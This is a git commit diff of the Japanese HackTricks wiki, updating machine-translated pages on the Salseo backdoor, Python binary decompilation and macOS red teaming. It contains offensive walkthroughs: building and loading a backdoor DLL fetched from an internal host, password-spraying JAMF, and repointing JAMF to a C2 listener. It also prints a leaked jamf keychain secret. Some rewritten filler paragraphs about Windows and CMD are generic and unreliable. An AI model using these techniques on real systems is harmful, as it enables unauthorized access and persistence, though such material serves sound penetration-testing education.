Translated ['backdoors/salseo.md', 'forensics/basic-forensic-methodology
BIN
.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
BIN
.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
BIN
.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
BIN
.gitbook/assets/image (4) (1) (1) (1) (2).png
Normal file
After Width: | Height: | Size: 220 KiB |
Before Width: | Height: | Size: 220 KiB After Width: | Height: | Size: 96 KiB |
Before Width: | Height: | Size: 96 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 7.8 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 48 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 32 KiB |
|
@ -6,7 +6,7 @@
|
|||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
@ -39,25 +39,25 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
```
|
||||
### Windows
|
||||
|
||||
Windows(ウィンドウズ)は、マイクロソフトが開発したオペレーティングシステムです。Windowsには、バックドアを作成するためのさまざまな方法があります。
|
||||
Windows(ウィンドウズ)は、最も一般的なオペレーティングシステムの1つであり、多くのバージョンが存在します。Windowsには、バックドアを作成してシステムに不正アクセスするためのさまざまな方法があります。
|
||||
|
||||
#### リモートデスクトップ
|
||||
|
||||
リモートデスクトップは、Windowsの標準機能であり、リモートでコンピュータにアクセスするための便利な方法です。しかし、この機能は悪意のあるユーザーにとっても便利なツールとなり得ます。攻撃者は、リモートデスクトップを使用してバックドアを作成し、ターゲットマシンにアクセスすることができます。
|
||||
リモートデスクトップは、Windowsの標準機能であり、リモートでコンピュータにアクセスするための便利な方法です。しかし、この機能は悪意のある攻撃者にとっても便利な手段となり得ます。攻撃者は、リモートデスクトップを使用してシステムにアクセスし、バックドアを作成することができます。
|
||||
|
||||
#### サービス
|
||||
|
||||
Windowsでは、サービスと呼ばれるバックグラウンドプロセスを作成することができます。これらのサービスは、システムの起動時に自動的に実行され、バックドアとして機能することができます。攻撃者は、悪意のあるサービスを作成し、ターゲットマシンにバックドアを設置することができます。
|
||||
Windowsでは、バックドアを作成するためにサービスを利用することもできます。サービスは、バックグラウンドで実行されるプログラムであり、システムの機能を提供します。攻撃者は、悪意のあるサービスを作成して、システムにバックドアを作り込むことができます。
|
||||
|
||||
#### レジストリ
|
||||
|
||||
Windowsのレジストリは、システムの設定情報を格納するデータベースです。攻撃者は、レジストリを使用してバックドアを作成し、システムの起動時に自動的に実行されるようにすることができます。これにより、攻撃者はターゲットマシンにアクセスし、制御することができます。
|
||||
Windowsのレジストリは、システムの設定情報を格納するデータベースです。攻撃者は、レジストリを悪用してバックドアを作成することができます。例えば、レジストリの特定のキーに悪意のあるプログラムを登録することで、システムにバックドアを作り込むことができます。
|
||||
|
||||
#### シェル拡張
|
||||
|
||||
Windowsでは、シェル拡張を使用してバックドアを作成することもできます。シェル拡張は、エクスプローラウィンドウの右クリックメニューに追加されるカスタムコマンドです。攻撃者は、シェル拡張を使用してバックドアを作成し、ターゲットマシンにアクセスすることができます。
|
||||
Windowsでは、シェル拡張を使用してバックドアを作成することもできます。シェル拡張は、エクスプローラなどのシステムコンポーネントに機能を追加するためのプラグインです。攻撃者は、悪意のあるシェル拡張を作成して、システムにバックドアを作り込むことができます。
|
||||
|
||||
これらは、Windowsでバックドアを作成するための一般的な方法のいくつかです。攻撃者はこれらの方法を使用して、ターゲットマシンに不正アクセスすることができます。セキュリティを強化するためには、これらの方法を理解し、適切な対策を講じる必要があります。
|
||||
これらは、Windowsでバックドアを作成するための一般的な方法のいくつかです。攻撃者は、これらの方法を悪用してシステムに不正アクセスすることができます。セキュリティを強化するためには、これらの攻撃手法に対する対策を講じる必要があります。
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
|
@ -111,13 +111,13 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
|
|||
|
||||
### メイン関数の前に\[DllExport]を追加します
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### このプロジェクトにDllExportをインストールします
|
||||
|
||||
#### **ツール** --> **NuGetパッケージマネージャー** --> **ソリューションのNuGetパッケージを管理...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **DllExportパッケージを検索(ブラウズタブを使用)し、インストールボタンを押します(ポップアップを受け入れます)**
|
||||
|
||||
|
@ -157,7 +157,7 @@ Visual Studioを**終了**します
|
|||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
ソリューションをビルドするには:ビルド --> ソリューションのビルド(出力コンソールに新しいDLLのパスが表示されます)
|
||||
ソリューションを**ビルド**するには:ビルド --> ソリューションのビルド(出力コンソールに新しいDLLのパスが表示されます)
|
||||
|
||||
### 生成されたDLLをテストします
|
||||
|
||||
|
@ -184,23 +184,11 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
### CMD
|
||||
|
||||
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It provides a text-based interface for executing commands and managing the system. CMD can be used to perform various tasks, such as navigating through directories, running programs, and managing files and processes.
|
||||
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It allows users to interact with the operating system by executing commands. CMD provides a wide range of commands that can be used to perform various tasks, such as navigating through directories, managing files and folders, running programs, and configuring system settings.
|
||||
|
||||
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By exploiting vulnerabilities or using social engineering techniques, hackers can gain access to a system and use CMD to perform malicious activities.
|
||||
CMD is often used by hackers as a backdoor to gain unauthorized access to a target system. By exploiting vulnerabilities or using social engineering techniques, hackers can execute malicious commands through CMD to compromise the security of the system. This can include activities such as installing malware, stealing sensitive information, or gaining remote control of the system.
|
||||
|
||||
Some common CMD commands used by hackers include:
|
||||
|
||||
- **netstat**: This command displays active network connections and listening ports on a system. Hackers can use this command to gather information about a target's network and identify potential entry points.
|
||||
|
||||
- **ipconfig**: This command displays the IP configuration of a system, including the IP address, subnet mask, and default gateway. Hackers can use this command to gather information about a target's network and identify potential vulnerabilities.
|
||||
|
||||
- **tasklist**: This command displays a list of running processes on a system. Hackers can use this command to identify processes that may be vulnerable to exploitation or to gather information about running applications.
|
||||
|
||||
- **regedit**: This command opens the Windows Registry Editor, which allows hackers to modify registry keys and values. By modifying registry settings, hackers can gain persistence on a compromised system or disable security features.
|
||||
|
||||
- **shutdown**: This command allows hackers to shut down or restart a target system. By executing this command, hackers can disrupt the normal operation of a system or cause denial of service.
|
||||
|
||||
It is important to note that the use of CMD for malicious purposes is illegal and unethical. This information is provided for educational purposes only, to raise awareness about potential security risks and to promote responsible and ethical use of technology.
|
||||
To protect against CMD-based attacks, it is important to implement strong security measures, such as keeping the operating system and software up to date, using strong passwords, and regularly monitoring system logs for any suspicious activities. Additionally, it is recommended to restrict access to CMD and other command-line tools to only authorized users and to regularly conduct security audits and penetration testing to identify and address any vulnerabilities.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
|
|
@ -5,22 +5,22 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものを解読する**ことに興味があるなら、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## コンパイルされたバイナリから.pycへ
|
||||
|
||||
**ELF**形式のコンパイルされたバイナリからは、次のコマンドで **.pyc** を取得できます:
|
||||
**ELF**形式のコンパイルされたバイナリからは、次のコマンドで**.pyc**を取得できます:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
|
@ -66,11 +66,11 @@ Unknown magic number 227 in /tmp/binary.pyc
|
|||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
この場合のPython3.8の**マジックナンバー**は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭に**次のバイトを**追加する必要があります**:`0x0d550a0d000000000000000000000000`
|
||||
この場合のPython3.8の**マジックナンバー**は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭に**次のバイトを**追加**する必要があります:`0x0d550a0d000000000000000000000000`
|
||||
|
||||
この**マジックヘッダー**を追加した後、エラーは修正されるはずです。
|
||||
|
||||
これが正しく追加された**.pyc Python3.8のマジックヘッダー**の見た目です:
|
||||
以下は正しく追加された**.pyc Python3.8のマジックヘッダー**の見た目です:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
|
@ -112,7 +112,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
|||
```
|
||||
## Pythonアセンブリの分析
|
||||
|
||||
前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出してみることができます(ただし、それほど詳細ではありませんので、再度元のコードを抽出することを試みてください)。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、非常にシンプルなコードを見つけましたが、_.pyc_ バイナリをディスアセンブルするためのものです(コードのフローを理解するのに幸運を祈ります)。もし_.pyc_ がPython2のものであれば、Python2を使用してください。
|
||||
前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出してみることができます(ただし、それほど詳細ではありませんので、再度元のコードを抽出することを試みてください)。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、非常にシンプルなコードを見つけましたが、これは_.pyc_バイナリをディスアセンブルするためのものです(コードのフローを理解するのには幸運を祈ります)。もし_.pyc_がPython2のものであれば、Python2を使用してください。
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
|
@ -211,9 +211,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -221,10 +221,10 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
管理プラットフォームにアクセスするために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
管理プラットフォームへのアクセスのために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
|
||||
MacOS環境でのレッドチーミングには、MDMの動作原理についての理解が非常に重要です。
|
||||
MacOS環境でのレッドチーミングには、MDMの動作原理についての理解が非常に重要です:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
|
@ -43,7 +43,7 @@ JAMFは、**カスタムスクリプト**(システム管理者によって開
|
|||
|
||||
#### JAMFの自己登録
|
||||
|
||||
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報の入力を求められる**場合があります。
|
||||
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報を要求**する場合があります。
|
||||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)スクリプトを使用してパスワードスプレー攻撃を実行できます。
|
||||
|
||||
|
@ -53,7 +53,7 @@ JAMFは、**カスタムスクリプト**(システム管理者によって開
|
|||
|
||||
#### JAMFデバイス認証
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見当時は**誰でも共有**されていました。秘密は**`jk23ucnq91jfu9aj`**でした。\
|
||||
さらに、jamfは**LaunchDaemon**として**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に永続化されます。
|
||||
|
@ -78,7 +78,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
したがって、攻撃者は、インストール時にこのファイルを上書きし、URLをTyphonエージェントのMythic C2リスナーに設定する悪意のあるパッケージ(`pkg`)をドロップすることができます。これにより、JAMFをC2として悪用することができるようになります。
|
||||
したがって、攻撃者は、インストール時にこのファイルを上書きする悪意のあるパッケージ(`pkg`)をドロップすることができます。これにより、TyphonエージェントからのMythic C2リスナーへのURLが設定され、JAMFをC2として悪用することができるようになります。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -104,7 +104,7 @@ sudo jamf policy -id 0
|
|||
|
||||
また、Jamfを介して実行したい**カスタムスクリプト**を管理者が配置し、実行して削除するために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトには**資格情報**が含まれている可能性があります。
|
||||
|
||||
ただし、これらのスクリプトには**パラメータ**として**資格情報**が渡される場合があるため、`ps aux | grep -i jamf`を監視する必要があります(rootでなくても可)。
|
||||
ただし、これらのスクリプトには**パラメータ**として資格情報が渡される場合があるため、`ps aux | grep -i jamf`を監視する必要があります(rootでなくても可能です)。
|
||||
|
||||
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルの追加と新しいプロセス引数のリッスンを行うことができます。
|
||||
|
||||
|
@ -132,7 +132,7 @@ sudo jamf policy -id 0
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
また、あなたに役立つかもしれない**ローカルMacOSツール**には、`dscl`があります:
|
||||
あなたに役立つかもしれない**ローカルMacOSツール**には、`dscl`があります。
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
|
@ -155,7 +155,7 @@ MacOSのユーザーには3つのタイプがあります:
|
|||
* **モバイルユーザー** - ローカルのバックアップを持つActive Directoryユーザーで、資格情報とファイルが保存されます。
|
||||
|
||||
ユーザーとグループに関するローカル情報は、_ /var/db/dslocal/nodes/Default _フォルダに保存されています。\
|
||||
たとえば、ユーザー名が _mark_ の情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、グループ _admin_ の情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。
|
||||
たとえば、_mark_というユーザーの情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、_admin_というグループの情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。
|
||||
|
||||
MacHoundはBloodhoundデータベースにHasSessionとAdminToのエッジに加えて、**3つの新しいエッジ**を追加します:
|
||||
|
||||
|
@ -220,7 +220,7 @@ Safariでファイルをダウンロードすると、それが「安全な」
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
|
|
@ -22,7 +22,7 @@ macOSの**XPCサービス**が、**PID**ではなく**監査トークン**に基
|
|||
|
||||
関数**`shouldAcceptNewConnection`**またはそれを呼び出す関数が、**`processIdentifier`**を呼び出さずに呼び出している場合、それはおそらくプロセスのPIDを検証していることを意味します。例えば、次の画像(参照から取得)のようになります。
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
次のエクスプロイトの例(再度、参照から取得)を確認して、エクスプロイトの2つのパートを見てください。
|
||||
|
||||
|
@ -151,7 +151,7 @@ return 0;
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの企業を宣伝したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの企業を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックしてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**PEASSとHackTricksの公式スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
|
@ -22,27 +22,27 @@
|
|||
|
||||
* **リカバリーモード**に入ると、カーネル拡張のロードが**許可される**必要があります。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* カーネル拡張は、**カーネルコード署名証明書**で**署名されている必要があります**。この証明書は**Apple**によってのみ発行されます。Appleは、**企業**と**必要性**を詳細に検証します。
|
